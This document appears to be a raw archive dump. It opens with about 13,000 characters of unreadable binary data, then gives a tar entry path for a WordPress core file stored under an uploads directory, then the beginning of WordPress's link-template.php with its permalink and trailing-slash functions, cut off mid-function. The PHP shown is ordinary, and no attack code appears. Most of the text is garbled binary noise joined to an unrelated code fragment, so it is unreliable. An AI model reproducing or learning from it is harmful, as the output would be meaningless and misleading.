S@\PաRĘ=tb<0^@ʎO)>Kg;tdQ#B@泔ǚ2fan7ޠ7bD>E׌>q_2M=_MU0z;(yϕ= %x2<YE+f&.uW%[\g1^*3w`b!3^aN!Hiҍv=;y	/7@=|n.:%Kvm^̜.{`Iْ*i\Y/`߫N-p`xnȬohWutڨЅ(/$58ڹ
#̀Qq`s qhߞSSİ̽rTq_:vf
iױ[D>s|aM+_MsiOx.9S񟔃wA}ΊZ<hU;?*ݿa8?3)֟|37ɴ7f<7(zfO7a̧q^7\osu%꣦;¶Є6zH%&Z~Br+
)5GOpSKX$6:hɪ'so;0y*j xUS.f+?چagC
m	8R
o<[mH_=9|ٕߤدӋ]'2qʤy	N3`c1c"@YGYnͧIEe-KwRt
kwH@k3V~:3Xm~Z#g%9HDt`.>L<i.[](хw;$nJLX|DnpuPWL6-;(9̟qK6#K%ΈYx<ojkI'_[b23.1w91j/F!#FJnq)%FY`Wf)z3Ԣ3P+x	cȼOߏ/CTCjHAt"?0a%E78Jh7;͔aȧiړ4H6NoT.]EQ2I
<r<\t;ho#Öc\˱|[ke?y:!a{K&7qSR_W׿1AYs;y@}03RhCTY}6|Ps'KZnRKЁأ!O9r-RMPz^u)ҫ$< &mצ!hJBH$hi҈KSHgx-`>FD~[dۥG,ſY|3lFeR*:E(@XzU	I.?SNCGpobU0a:w"Ӱ<1Ꙝ{;q.lGNq.<^OwDI8Fy.bSY"[(ŧ+5}I.M$Q%7-t']J1yWW<ImtN3|S[pZE]Aty̚lmS`i[W&Ds~M4XR]*yTkMF9pT@J)5
Bv<L58lr=~*̓خeūqgdw*~aMH]SttDO3uj(dʍɗ8oi3?
5RR}Zȏ36`x7?|<O]`ٓ?<&FHѬ-3Q3ta琝Ӳ7Čs|j|umiq^Z5{*(+F1tiGxf)"?PUQ߹[+aB0&exz]cdgy9ǜH?:q,y/Ɵgއ8?2KT̴ܭYivQJdXu7NR殣Ż'WR Mmخ3	`۸9\lԔo5dqFڦ-?F_MDs>iI(4~!Kv]c_uONޑI
+5Noe}P`[d?cAC͹xz@R;opS-˨(t=&LX:bW÷׳7
0z[w|`daN8GoC#k.ns.hJX#ʹp	f\}u-{G9$Aδ`l#HGinf?0wif#pͧ	OM}g|U'x-bA)pϞYOa6.)NI/0+u&c@7wQ>I·@tNrdJPBBYGC,	4(ĔK	#Z 0,x<I׈wpHP1BlwyiMq!X/>~VSUdo67@33]_8ЂPHs5{/ұ|MRBqΔ^m6ݧ%,e5OG?[^C|5@|[uћ
tG.|`O4rmfOYÂ3S-aoVZuxg.Ww_~yS+zd_=(ϰ"|lmy6%M$cAnH/|10E3HS^QQۧ;v?T+ϡt:h֦,Uto֥W?}+uTJ3bcsk<*(H"- &勇׉$fT¶!)vgiU\* VMafOc?&!Dzc7yC[NiV9Sփ$a})Lx1[r68NƂ
2?>Xm=-3zEA[|^ t/gA"ԼLaf2w"9vPƝRס6e./ݧv~Bl	Ӎ^aR95rJdЈ*;jZyYw-4ݖ[@|wGNY1țn.Qg*|[sdky#B_o-bΏ;kTT\ӌ2ÂNtR6½MR%ah3Q
 @Vg[S[.BNH9:$AR&y2
"l23KCY1"tb	\Z
*(qli\ed}ls> X`|zWxK=z%LaU621$sï[UqM]Q7m@Vީ3b)3ﵟ_L"( Ni/`[fAې	Dsɟ|̿\1qEqX4a<	fC\˸wZvNxK?UJՉtwқ?w3Uuv(+1eF@yp}]&F%7{uK?	|&Z2+_ŸM?{'=f`۔xe{-`:rɢ]S^4aMʇzry>F?[ev	%8*׬)*eɀ
]vY!o(47`u>ZSuFM^jYisYJO*PnZ+i[^uk?;p8 MzȮ}{ؐI ȱO9FeMelӳlM@G9L@q 912f
V(3EJֶCe֑V#YscsZ^yIcT!(sëu5R;d{iGW0U37JWY"}A"_~y7_onq9hx2knk
+5Y4
VK߉Bb|d('c7CUH7㓇	ZfF%ZmV&-$YǻY/Z0^E1T`IN@ ;@_$Nc4CSaz)&TliЌW<VS$H,+nfL"_2?R6z-f=p[SgT(縛̥Ѷ8H_muZsp++?eE{U9ͭ-\S_06yg]PC)oFi${#k5
n~xߋY%Iٿaơ?lgU&CCu3ʚI
=C1/OeЂ_e؋y	`OL|Fek?u}?ϯjK&<fލ߼
~-?#`*jQm`W>"CouNu#W:Zܣu{)xF'򮭮{rV<m|rp7_磵?c;44h.5z~ןAP6R4Td\iu.)q&	<SN1:Fxf҃zӚt5`1mٚKf'FtAE54},QY?i!\1dՎB3ϩ$fS'\?<my<a*;,5tdPhؕmrJmv^y<{^EPݦuc`6$!`]>+!.5j eкtپ,:|@z-")FD,Ŏttjoe%χCK[HrmJuNꈌ06ZA
Sl@T(A<n)Hs.P!CMיUX-6y`/7:ح]=HY,^%TAXcslRO
;zDO<
^Ė!Xӊ>qZI@{V{B/zڱf;L,8+40	cw5%Ɠ8C3mLx5N(g+`8+CE1et䧆'O"b@4L$Vj7?ucl𿄬;`)Ҁx1'1Ʌ~Td.nOɆ%}t򎶲;LQUF6Xz3Li`
I,rp'u&{z:rP#HM?@.dR5&{(5z#[RX#b<~M'/=K0!e~HGB],_	\ NA
Bux:UܐeR<t4+gf~>*uReΎfǣx r~W}\L̮?!z:$}L/9"}<ݳxjh BvHq)tUU M
@c;D&Yjhݴ4@%TKeŨ*Kn5siNdǷ#٧}ϧd{4&S7!LXȩaGwXna~LbLjBቆ[N
꼙Z"xU/%7<m(j86R95
H܆fL@&st,2#u릏ӟ2IJxUcCU~vƎ:'5&|@mV"*0l߰/z=dFW)?gM	t<V F~6%<bzdAtGͽUh3ƣ+&7tkLQύF	^_A$PPcI"8ۖh=m7&4BoA䕂Kܩ]>T1(WaU,1k)b2H.~Jۈ.pEbau_ |㼽A#;b;I0[c=,|ߎ>,FN^JP	҅ĀN#;s')֫3Ԩz<Z%vZ	Lcʀ[|0f{Uj"z[h?qi	UAG4t (b ڣj>Kכ5(ϯՔB7=T3]4eMO֛0
@Yx̦QaX!YiIEs|l!5=^92£q5ʏ#8|^~T]^:r)9aeVẊ"IJV7fɡRpjě5VduyzgO֥W劘$zmeYNTV{%lax7CCfM2Lr	j!JfP`tsK[w^Y>fu<)k;ܤJG:.BүgD72!)W`sxWߒ¼||Uf$jB
P$99+*+"C*Úg ko~R.ׂl`B0i_S&
9_{8ZC^[ix߯QtY.;81WQ^yr;:dsclc&|>2EC7Zzm"^:	7#̅v"n"
f7Y`sՍ3ZlrH.s[+2"UH!w}{6Eêsul럌<f~>W0?Pp;Z)X|wo9<5G!y؏OHwya͞DST8ÔGր{:{шN
x.;Rkmq6Qoy<gGj9kA@g6)O+UGGNYX͆tIcƿ~pXFj>g5!}tatiil	-.y@	OgpӠ\E$Plm|LCt"Q2yKH~[e iOYI1jPs e+m`>tj70K`Xn0?-],Pdo3:̤ṗdj,dD"UUtUT0&%a\l^ԛ:3̞`p^et*yv4"[8SSrIp2q`zQzp{k)a.Tlf<X\^bOmf)/\ns
4suq.K/Vp`qPkK 
Ջ-L倚ul1Mh _pt>dJۡ4;jEŘ9U$x^u{	vYC;Ę%6,1}?ϟ+(*3a?_fx*0?2DF@\ooR"?n|}l6W۷ۤ#0|{+P_}$a6fGC3]7kWΌV~]l߱5aʒi1ھeb>[Toɮ8<>9Dc!c3>F3H,*A	T2mac |jV}Vc׏󩙢+aLLSlɞnU;WL"nܢ{WdM	O!YL=0m%6mQ&RQ0hɴؠ'ZOIF_\ъ7XE?~meUpU'76<=5kk
%BJ%7`x
evLOI_o!ɜ	i&~8ru.HF~_3;	
~۫sqy}e#mdw.%k-0*O5>JbdLV\A7zZV(XS	zdR*w7I%cӿ|9@e	};"nΘHvǎ=h~KExHG(s7l·zߡ8OrTqrBqŒk#ζ&L|78gOWoAp"jrPL\"xe]LUK%yppHk'q-qdy4{KFbQizϿ"cE~i!R/qHwV,%߿Z/;3.7H>kFƩ1A5f#8z4,N b}hѭǣԶ~QSC#|eweD|vS:Al~1X\6!Wi)6CbK!vu_Tj~e8&i幎l?mwDeB	^|Z{UCi.|b,?qQ"f[Nߞ ,ޑCp;Cp(;8,3fvְNFfYw9f)mtsc4iHy=]mՖj_?G
[^92,WwGIv)m˝"6}_q~w/]-]*ڜߩ;ig 	87K@}	pm.`jʦn70`@l6:sYh.JK~ؼx_{%#HyܬG79Rb:V
Jcar_=O:FoX*h$>	`-$H*a)Я)2=t??h!K%Lrxi{uku_|Um;?4+3dX'zxgכ;{ps@lvC˙*BusPz냰:.-@ݘ/B5CEFc\Őlounj{"^3tA3K3h9G̠q26yq=r Ckշsڙ.hKgxr\JhW2?piO'-d+R%>eʽ4u3~
v\(FZV4)+wŒ-[bd|NvyOX:߀I*]Eu?=k[!ku[]6b
y|ШW,lUlawESTԨ{ױML0T
MB$c\u-*W=_VWiO^
++ql\CԦ757G^1j\ \Azܱ;m„G
ta0;T_7i|V37]iRے:T!:R=uep\yj'U[ c:$峦flE7IVҡi*E'v++bi~Bt0eX:H:! j}y@%'g'wPf.;!܆rGlm$U-_rvV檧>.Kyw[ypn}X5+]ApIC]:q}f-1_ݺ,}`,\	43dK{/S9ޅ'NB>.ʿAy>$c~uOh[gaqmHTY^ėֻ^ΜH;YB]ֹW,mdG>806z
Ó)öA%{:Ow4!.V;89<*@܃wM'h#c'i99l}*vQG衵j2jՂhrk(8(rs\r.V\v3,M}42n׳`-'a9(тcTaCc3;R^U2	Y7Z&,)ԝ$Hvּ9q*9^Wca#>26]1*|b9e39_7Gilhzڑ#9	|ewjYgbԞdwy9B0Pj}W~[\a&}_gљh*>m3ad55*wRlPշI5m5݇th;NNe683YhD8.HF,_ɬ^yގ U(Fa9-"A_~W_{SZ?	ju~J>@StoPІZY0lqa."v\^`U9yr4B;#R>hܝU%x<E=He]Xtrƚ+m}W
9֔7#kS9X}ţYmXp"57z?0EdU-,!B!oz~ؖ2Q]a|OADΨqd	ʾi$U.&rYx0YL{'牧[:pq>C]4P-O=]'zWJP>OC}4sHP`#"%܂!!~JFIRc>2zן`:8a[<b|};ϳXu,1ȹ|ro"3:8rZ	taNqmӂl#D	ƹGk}VBeKVOLSح}BpwHz583JMNedg_mx}0~j=J[
S)=la.:Ⱦw:ig6c==PJZC	qa10㺯{~׃x̂nCf^4.zUw4%%D;Ň9jދEgm,9z)^֎׆|UnA;&Pp{hTnqZSxOF(7̭>7@sF?80L8q?7Ċ+;϶wpD-7\ok"DZ;[
\wڌ}Lb;E
DC
z\nfv'ÄZNM-5ޓЅNG6ϒ!ӹߒ&lC_#KBycThQWNnb<0mYL8P=V7AuKdg6$AE2)-n.SK>UGa#E8h
YzcËݬXx3IMj0}uT8V*<6R+` |B?839o3x3w_GVoPO
ev|y"{a`8{2+2]r%]:gYSwg!uUtcw9_uZLt3l짹Gv9WG!K[E\0@LCҹOņPs6)Xu6WKts1,aAݫ1<2q<꘧p:-}:[3J(֌kи5PF,6:Fwǯ^9Uh7(w͈9?K}oX
җT<.g0fuJF"鉁<rb|8;b(DzakQg~j|P7t[)gY/孩8Va&4u\B2ׅ͟OF~J޻wDϻw?^s}ŁA(jMQT3ZGGi@-,slP76s`??xtWH:{R@f3
Ɛ\
0៾9ї4{hgD@_7~We#|
]rؤo'sR*ޖn	M>3^Kd@d6>0w	7wbjc!`kK6jVUݖȢvֱN<syTR]`L/=kfnZ0\阹Ay_/+PUI$DmCk4IWx}!x{O
+(P\Աs:'_,ٷWRKYGГni	_4BˀXH#k0.fg[UܷIvq%kg?i}vrW}~xʮ)a,Q
=AUaQ%fu9΀#(L#2_św,iڤXZ {\=gF煽-]O^`6UKˀv}h2
ݶKZ)<KS
e!iNpG!@GkRy~M}d|:2ntZ.q(.Z򱡡F~,FRIMݡZ	_͕h6;_8ɍ&'Sl5MUqmV<A^5GcP{MaL0_zzO'3oW2b%{s;vwvKҔe}؍tog/6/4m CJ+h6bmg2äޡbFP֝]eҧAf)5ļm6ǼaUKysM+{?{T	Ӓ-
>"x*Վ[.6tз!i>yPܫ1$k9,O0?M\"v,>7x;|5>?@Y'!Vq>tr6-gb,"8}8ΎQoNd{_2āyjl4g=a
fsqA4?6J3:i}a} <7sڣf%?1\wore~"2UfϞ*VNE8u&.>Bԑ$} G

&u5`Z0$wB-eCZzे^5O/ڊvW[^0Ĵ?j$=N^"
<)jE~ȏ-{\HhߡCM;x M(.LaE>nu4c=lXV-1oJVړb<np>v<t4x2uT)#wqw

idOF*
Z]
DaK8rHߒ$N׷D#g\w)qP;3>h,м&ul"Zfr?jD\w:+t2)p8!Wlog!R$bN;T6qm#S5_u;W&@{l5z|;MftkJ_5w{FTKJL0Cru^9tjV	S!WnG
+
9BR%xd~fMN~~qF33gp/miPͲ#\WR}"oڕySJ)=2tH&zK (dN틔t<	#H͗%_ -_d.[\|=_2>m#HAyWcC	54TXp,iÿVzt$ROCvL-Řn 
y z6d(ڽG=&i^*6Of]qkQX2!
=,V)c
jSz֨Ckԡl9bCLyRzn?;~L{/9ѽ)&dWeʽY>5Bx`h<qCj$qx%	fbt)ov6'An=@#tٔaW<PY0U'x#GIGq{P)`4({TDP.a~VـG~&MxkVE,QLdUm1L-Pī}]%Phގ LYh;Jo;Bi'`pi.9W#Az.[5|ḋ徫K)䟻Cz)cݤt
h&P	Tte&ձ-ѯs>\ W--8J_-blN\$k&jJGf,c#tBh%0%U-w=Ӓ\p-O!$b%Ⱥx:=&;ٵ+B,Q)2^b\v;x%OسQXҀF
5{1% @	54zDѼE/B3X
tQ
]F&쥦oZ`3QL;CB~DqP5:
N]&.ږǧI~D纑!pqyQ81x
$l[zB^5.Ol7SCnI\`sJ6iHo+H5KS4SwTQ}KV;!mDQ*<#!QaѮmsCj!
l*{٪V~]8=)beh~}#^I]s
BRp]Nou5;wr֨@M}f\e`Jݶ
nޅ,LPǰ0/(+F`E+9Lg+IrTZVy6uZ3~
g<
psGׂ]o4m(a3:60<O'0bY3;kX|VCf٢(x]F줇`fS:CeLj(|D.!6A	iAI.Z_m,QёnydGjl6se`$'4 v%N X_PeֱY'ִ9@ܒtf3J®FV@eL6V(վ.?iUl܀:$=.5JC(~D}GčQ	ڻ;kEܻB|y'+%3xÃ
o?P#-Cz	xfcÈw]0}^0xx;6@!:>o)MTՍww<8w$? 0mzPA:v*~kxFmMIK.n<k|6/.$cv'pt'OJ?󀜺S^l.N@m
p0{-B]~|V[$;\(Dw$PȆfpxr6FV$`xLF,
#VRe+oa#go̴L uțUv 5xEǝ$7ו)`J	B26wyK[Q;U{)X0t6lH=cVF?S)s%L*f	(+TYx(8ʿSMoOO
e";Z[\Gw>!G'T\cϗ]k_#?1bf-,tMŌq(X/QI<H]7xO!$#j1OD9L>
Q$_'
|Ad֛֩E(#8˪	F(A(ޟ0,#?,cUw#~2nx'V;+5V W[5{_M6P7A?_xDWh֊M?J,̔^j9rqw)BiSAxZmQ_SIm?y).ȳ&|vc`U}g;SLdT'*ƞڽ=	gǗjY5t罴eR s@5CUq@ej,6pna˜{Gn|oN&nnIK
|`j%ϿѬr|W>+b#j~܊,zۗ託72 ?]bi|$O4%46yȩUHWD>'ivI_nn͹?]X<A4''A6Dpjf:h-t$C,vDž-nl.Xaهwjnn$J:Lޢdþ24lI`S;_D2^g|cpQ8jY9&dxO])$]R/R=鱑:ktFC{@z=@>
jqp粋h8߭7;/YqXLVǧ{/aTKy)kB3	x\7ȿVk`ȁ\.0|v.@QG_9x񕼁ntanOT6WE\gA<c]w_G߯}O!+CHͯK2pVH&!{#HtZ.γ47m(|ot6ۅj(aI+:`͸˿ZgR[B]袐u(G湉rgds
N&=Q$0?GȔgًQqX9܍$s]ڷXp447kSdLju&i^)FYĻ]Q3HEJJC,ErOAR*jrd1)|bw7+c-`xI:Tfj#=ȤWmֳzCϋh+Ϡg|w0:&qu)xq:q]':*f hU,y{\>Wk_1]~9rb<	Nűrec>?rO;d8 ߕȇᆲeRz)rN/gch0/U>}~а>yaȕQTBc^I
Z۽oXݧX#aO@BYYMDW|^]&a"VZ? M`r"p+0՜g"0ͫ_.gr,^AԨ*C~C:88KCyF(yfJTm11Zd{mq+d6h
Hu'540w6ZNByU9ӓ~q_X$
jp={`.
G˧\g2-I\7 lX>	,"sT˼OB$,ciV̼_GjP|
"pBT%~VTљ~xK+xi-1^^lY_6]%VD.pc#{"(4nn"	S"P	:;9 O	z;7h
o&Uu`ii?fY(ŘY<mV$GC"א]NΞhC!Yv;QhߦZ$ ;ۂ%yzkid>)8فfȝٸcp-i:~Mq$Y++OSӄ,bhjʼn};So$~q*@4-ߠv> 6[]ibDu?b:1Ps9)ҰOz8`l1&X.mypIW-JBS	HU5&^MPz+8g7TnD86v(BI"1M9SnA,$N-*I+Fzb
?3R) pχỮ(P7 i1:"
!!Ip(X0_By1nxtzǃ86WhŃA@sO|͒/0\,
a{h5@MIZ!
yl*#<x!kyjm1Hv]Lie/rǸ6&uZgi7KI5]"QnV[^_9%!޸aSZϫD
#!QkKhEwjYߗ6
k?6glʅB$frGwrE"REV	 *I%:~>.D
yCRj
^qr\b-nS	;
k۫(YXʧO ]EA5_0=q1=DܷjC]9+vPfj#_s~!@_(R%[i֯Ck8\KVP`]‡[?;{ŚR䪚W>&76WooLx  PڃJ.)ڝd3sՄLT,Wg,̕9MJsZM=Te܌w~(s`NLLOqK9d+/7;ei_"jLG>:uH>rBz$G̷wS\5]`qJ[eor7SO~t]s*
.?W/	pA)x3:{#[e`0_Պ5e,WH91	^eB-܂"7Rń^:Ȕj<gGSS8vN
mJX
B9b6ϴ,G"v❷ֳM
g21ȧQ(O*v]UzfmBf*EfxFTi54(']ֶӪ|yQ͎ܮxaJt)H@ĊuaBt
r]k\CQv_
jٹoY35	*Dp?
5G5Lof?=K	)ӱM|ώwȪ xpW6HVsWPa5%w<m|_1-5WwB;w?]ɯW%m-OF[A}	̆7^gA2RnI&V{Pе")dsbP-`x\L5ܤ@$U
]Y0zɦ
GI	5jdC(*t?ޙ.X>D7Zrui
GihlSiYggE1VE^*('#YڅeU7b>z{ZЊr}
.ć0	^^!<GP
]c4Rw4f!u2}XD,[[pC
k˜NGH1ۏ\:uZq10eFQ)bc\8Eғs3^nﲽ[ssWy	nap߳~*t=b} |1pLn{7XCujfp43	^Ol(yIeTHnf+;+N	Ƴye	n%Ƀp(ܫ
	hw3ot>n1Δ~>6t˳Hǿ5[
no1&=6<09pEJu+fWa56!t$Э%G9z+	ݵw'Ts.O֡h7RNͩ?]+xac뢎M$7[0;/
'{28P_)>ro:B>'wifi{BcX+LQW#b
cߏ't[^zߺuqE3GJAC#hw&ŽRX+Kf^tRS
^>p<oW5O^FUEAd0@n*s]JZMN=mɌoԭx̡qx;3iO'5AL)<zUadt2:5-gSP+W*a6_0X+gr]0'„0؉Yժcuìä2_.ec,)fo*x#zDTX)"++A.߼3%ψ&t8kdt5Ue;Z4Y{VIS|rHtBd1ǃQaz
)vbN#J<C
wz?QnT5Y6ʷ%5m&F6f.͡A'̜ȺᚹsQ'\x$FiÉiޘx24~4;LQ5wo
h*dԚ
W+?y ߑiq2ͷ5Prj'd&z61\csf>HYw܏q^DlOMfz
	|2*9D
	z.M߄<^(/H*6;!7'=$RBR"ڡ1fmph>N)K_GVTd	Z(j*%?&v1q«D%9aZx4˖4%--?/0YhC|CxTӢ6gl쌾d۩l
UҭZ#ZÙvr=!GVM,8\G`3sNMA둙,Fq\BT|2	Gm.@IN1kMiv$*ʥDrwQmbf,l׳?3\_A0jN|y	\_}mZ3BILХBAKiZ9ސ_/iHTe:!aG$x9bmXG'as
bLgym%'ub6N	Z6.I;FnRIRVl$:̖?TM@Gr2bRu1׷2*(9,xtW6yH0#qXt=9"#&~7¾CQ
ssA>*8aReOM`tS!ch	_7"xTX1Q#@y?q"ؚ=AZ-g>I,!Ksz\˜j|Od
@蘳ON;VΥ_} (=()&8GpO[l/,
UGi~BP܄٣}	VmAS(B'l{W)˰P yN`?UZo[i?<yr0;F0BO$w2>{|ܡ:gqQ}YT{|l!˕}J$]<#ӴWnq9:T	d-Fz#޽ؓ7:(\9X֭wF6&TuM&Hŭ 'MWeXGZ_pkA=w~B٢"Ί|牶 [o7X]KrK`Ҩ)MdPx#O4^9RZ_2C[mlCݖBCJ_-NA@0}ńttt&D0
ݎ	G#"aDŽ2BL\q,GSޱd-)|(jup9Y}'[\i5X@F Ǡ*TQIBn:
P"P%GIJp))'PyL]2yAr
0NPs_F5L2k5|jlZJjcyڕuu&
oqq
21B݁4*E*&Rw0;3bŊ'$SJ~jԆGҊf8g|+[@!Ni
oƧ({, :7.k+NoZŘ6',õ=@ph _ys~`s&4yhxb@Xʥ'^\I?qEC#U t+!-o/|9`l\T|]2CpJڠjF-})9(5?)	ռ{]aE.x<z(Z9O Lo<1Js~5D'l w&HS~qK%
od_,8#<uQ9ʦ3=SLFTBЃnvB ]]Paq2染fB6RfJy@*Iʀ(u8rLSDkw {qKOR"fp3ё:Dj~S6]Ù\ZxZy+/wVx십b'xv8J

`uprFuYDOv
r[2gӒ|l
jevYQd\ WO<wpa[Y98 `$ţqS

uQpwss1pϒbr
^Z]bSaYWC4&tҢ"AUuC3Slfʯ.dͨÈo'Meu6	ZIS>lByH!ޅ]@'q_|0x/?Shb1XN*?()s==~[o$zKL=`m}pĮS}0kn(.J%CW3pPGOX@AȶjbľUu@=5;S<`O/cPdO2UB9b]|F(N{`3kM\!&#jL]#\g ^88:ߗǧ4+ʑ5W.;y0[4%t2kgggxHNG)P9&C+13S|4cyX:rБ|ɺΩ"NydPOli
	oLWT3n:Hf/&/y~E%
3&aO{_˾LuD%^vj[aAX9MZ>n
eSU3@âzaXU#:!\&Nq>-y(p2@Bd#9{#1Ej`@҇@l }L4̆|c(wRkI栍mhlEcmk٥tq/vv-/oo%'P}JzýҞ`V
k"YLx2]<t^9ښHHf3`w|nnvΰU6a0cxu=ث!+cMU:0z32T3ODGj4doϩN-aCf-tc#z/9
O!UPa*OIԤ^Z:6rѠ,{P	._#ʞklH}Rl23R[pZ :GJEOL(_ď8J*E<,‚+*TwNn*5,^
˻iW8J"s]wHsK&/;4If 7ENy##6TE್=(y)/2~S$K<2;鳃O(BNC[tI桾;Ix|<+Y 	ӱQ`F> QP*ǩ8Ǒ08:wg6_
@l\`ڼw:
w]\(713Jm
Wp)o
)͐`ᤂ$	CN8&S@␱85J2<]Myxh>2O
]d\K2g=9&6K
CV_qb
<YBܩkNd9q[FZśu'oҔ(		suvêqTy(Ye	<A1EPR=cIk6
quڣb.p%_CYYq		BBš|lqDG)g'Iwfll%3=~6GxKS	j>\V$Psd7~ˈ6s͹BǙ'ᓣ_-tAcWs s^yc†?0W@''@XpOL#[
Uȓp:9=Yy}}IGAj`?ӓy9=AmЧ_逪OOk҇&tv̫
EwtU

<GMu=,
#hWl~RLdOt1w@*AdI#%ATT^D<1往%6GB"AcĽU6Հ2c##4ʫE3
頣EWb`:6xh{8R7$Rƽ^__G\4guձ
԰[fѼ)/P_R,齲B}~C9!$C`pAGkDcb#oGw[Il,@Tie0g?w$s~Y2AX(k(+̑r@5s/O*~ >\(nJqg63Ę<qZZ.ipF3"t&b.7s5]x.AFO]dm\~鉴gpy4DPxa
37tr%`O}p~Af^l&Q^DҀ^cJ?l<KZC*ǣZb$gj&gOKX٣i<"57/j2B+BѴ8/v_k3>kL6Y>
2OcY`ss]NVj&/H.8D2P\"Y)4FuzOL8'
߸I3"5}AF"|ލID4Ad3wn
T޼DŽ-RQ=xmD-5581Il&isJgӭ8.h}{?7guCKhL"	%	.VArC?o{8dXdDO~mȦF8%-BdH[WjsX1{et7TJY`s8[=4'gQ\ah<73\J:ZP"c)Q(/2Ld@`MIko7HU׹R̳Q%רBԍzϻhRjq|փ0?Irsq]4HhϺHhh;ѧ Kg}Io
՛	mna^C_zn‡0٭^dIsQ&TY9AS@=jv,r2,b+>|8t4(;un#GaWt5]9gdZ=;ZQt%]TBrRTx9᝺C`N%[t0pw^"߲\_rUC2nͳ.dϺ,U\ltʥ,\/ֳ`K@<bO䜋tY٨i4kazh,MI&cBL?(x=N&%^E#4K!K
2!a0*u_kKz{491tH($}<𼾚?TW/S|:kWiL}ΚJj+PܧR}*[t
ȪVp-rO~*k'622:,TwvZi/DVO3TeF񛔞ZA6N$&A:62g\fAA(!J{=5/3I8tDٱ!U8i53~	gXa6óut=LRMl9%4KfJAt7E'!s@<d;`jOMUчM!!xv	G{g7?do]m)ͺaHsl9e)S2'4ꉞ}i
R7M4}fx9B~ct1nY77TN%t7.F@rOROz2N]GcP$g#'g$Mn$+DEO䑀 
mi
>3-,S
],lВ?5shBWl‰U*Y~^|X7k":_#g/C{_~_c(a
)a=_y.
@	j\́c)x	4mo2}%<	=ǒHX
$*x8MtfB_xNF{:&'r"V($L9OƓaԼYb69
B9w0bgqpcuA.ØsXQ /|WT:>DϞ=|MfL7ff>;
!^Fp{ė2#A;01z!["*ȝ:ųKu:7>=ޣ?j{31!c3
呢YQsʆC#4hpϕF,4D-Iޱď
9zn`anmxO)M5[f` pD&nJV]{'xFb:Rsӓ}_VG@\a1@}T5r>	@,ӕ29*MiK{ov$^z&4G٠v~;Ukd߽N}k=&H%V'$Jtw8_`H-<<}PPWMܚiEfnt9oGZߍxO.'0rQLSQ0KC,Zx3|0NF`7VI@0E{!!h7w&D{Ph&!kVZ _#Cr4c\;`&wg39f<%|g+f5vQw='է|8kՃޙI4|we&QdG}bd;p%`h"Uk80Z7܅7*n;-dnD`
-o̤
5,?8w)#Ҋ :%{5Fu.z0NJ&ϞH@}еŅr(69;lӋ+! 5<eXCf/zNsh&#^xPu$DY7ə-}|669\lǺ4ҙw
ʂ,"zY0Xq<tpTgnV؃{F.6|ϯυ9qC닻p[tZw_n8q~sP4$p
>sHc~׬ݼ߻w_w͔$_HL~&,6+}f'F(_L!5̰7s\3	nX@wȝY9PKv3w/+YVFvn/8^_{f8ltjN]DijꭗP1]&KrlZ/,b(kF/.g31-ͨ5HR:ϴ Xόl3Bmڰ7io'	ݹR0[#ƽ&`jյqQ}ԥYͯ.'{c@: 0*Heٮ7P^7oWJ$"\$G`_;Mw|r~IdK@WEl$_Ea(.]v?R#^0]^#eSM>#QxOw6Ц62,"A7w@h?fGFOq%Ѿ$ٷYznׄ
ׄKMy!$N*Eٙ; ;%Ҥaؤtg|{{#ߧ:o:EW0LQHIWu5$X<vn:U=GQy{bN9OҜ>x}ඹz-7{}n{hW:ڝ<τ[MFYgXFͩGUԥgv$H	tA@,}FnGB}:4<2}0``q|	X	#0^'>Ԓ\02+&Zv2p1J"?=S`Œ@LNQW΢^ui#nwŭTXK}\2&K5db1
\ύe!Ѳ,=z-1풽`nk+_GPqzA@M~! u@N<>_ qkLٴ&.HtcG:ߞg}$$CT<W$!@	ŝz!!]-<¯A_hr||:4"OⵙhzKp[>AQAmo|p19xv3:,fh@u@4T
nCT|{vr%EK@ن ʳ9R`(]!}
H~zÔ\4tv<9s9-IPFK-[)ȇHOw``m)ȗT;=??Dwz2@-_WWd_wH	-wE7:;7Wp\Tg%FU\ÚMPI#T<3z	2%_Pjmm.gěRV{iV7+,g8"&+АW._5a%h_yFX|bvڴ>aTs+w&[ nq,scM<u1?V´@շ
j-+ÃmhkwK|ڬ^qs:< <^}Z75Dch	M-dyE=n9vkd˶,dH.kc&|]z\v*iDQRuploads/wyw/link-template.php.tar000066600000474000152443022640013120 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/link-template.php000064400000470565152442705050021367 0ustar00<?php
/**
 * WordPress Link Template Functions
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Displays the permalink for the current post.
 *
 * @since 1.2.0
 * @since 4.4.0 Added the `$post` parameter.
 *
 * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
 */
function the_permalink( $post = 0 ) {
	/**
	 * Filters the display of the permalink for the current post.
	 *
	 * @since 1.5.0
	 * @since 4.4.0 Added the `$post` parameter.
	 *
	 * @param string      $permalink The permalink for the current post.
	 * @param int|WP_Post $post      Post ID, WP_Post object, or 0. Default 0.
	 */
	echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) );
}

/**
 * Retrieves a trailing-slashed string if the site is set for adding trailing slashes.
 *
 * Conditionally adds a trailing slash if the permalink structure has a trailing
 * slash, strips the trailing slash if not. The string is passed through the
 * {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if
 * site is not set to have them.
 *
 * @since 2.2.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $url         URL with or without a trailing slash.
 * @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc)
 *                            for use in the filter. Default empty string.
 * @return string The URL with the trailing slash appended or stripped.
 */
function user_trailingslashit( $url, $type_of_url = '' ) {
	global $wp_rewrite;
	if ( $wp_rewrite->use_trailing_slashes ) {
		$url = trailingslashit( $url );
	} else {
		$url = untrailingslashit( $url );
	}

	/**
	 * Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes.
	 *
	 * @since 2.2.0
	 *
	 * @param string $url         URL with or without a trailing slash.
	 * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
	 *                            'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed',
	 *                            'category', 'page', 'year', 'month', 'day', 'post_type_archive'.
	 */
	return apply_filters( 'user_trailingslashit', $url, $type_of_url );
}

/**
 * Displays the permalink anchor for the current post.
 *
 * The permalink mode title will use the post title for the 'a' element 'id'
 * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
 *
 * @since 0.71
 *
 * @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'.
 */
function permalink_anchor( $mode = 'id' ) {
	$post = get_post();
	switch ( strtolower( $mode ) ) {
		case 'title':
			$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
			echo '<a id="' . $title . '"></a>';
			break;
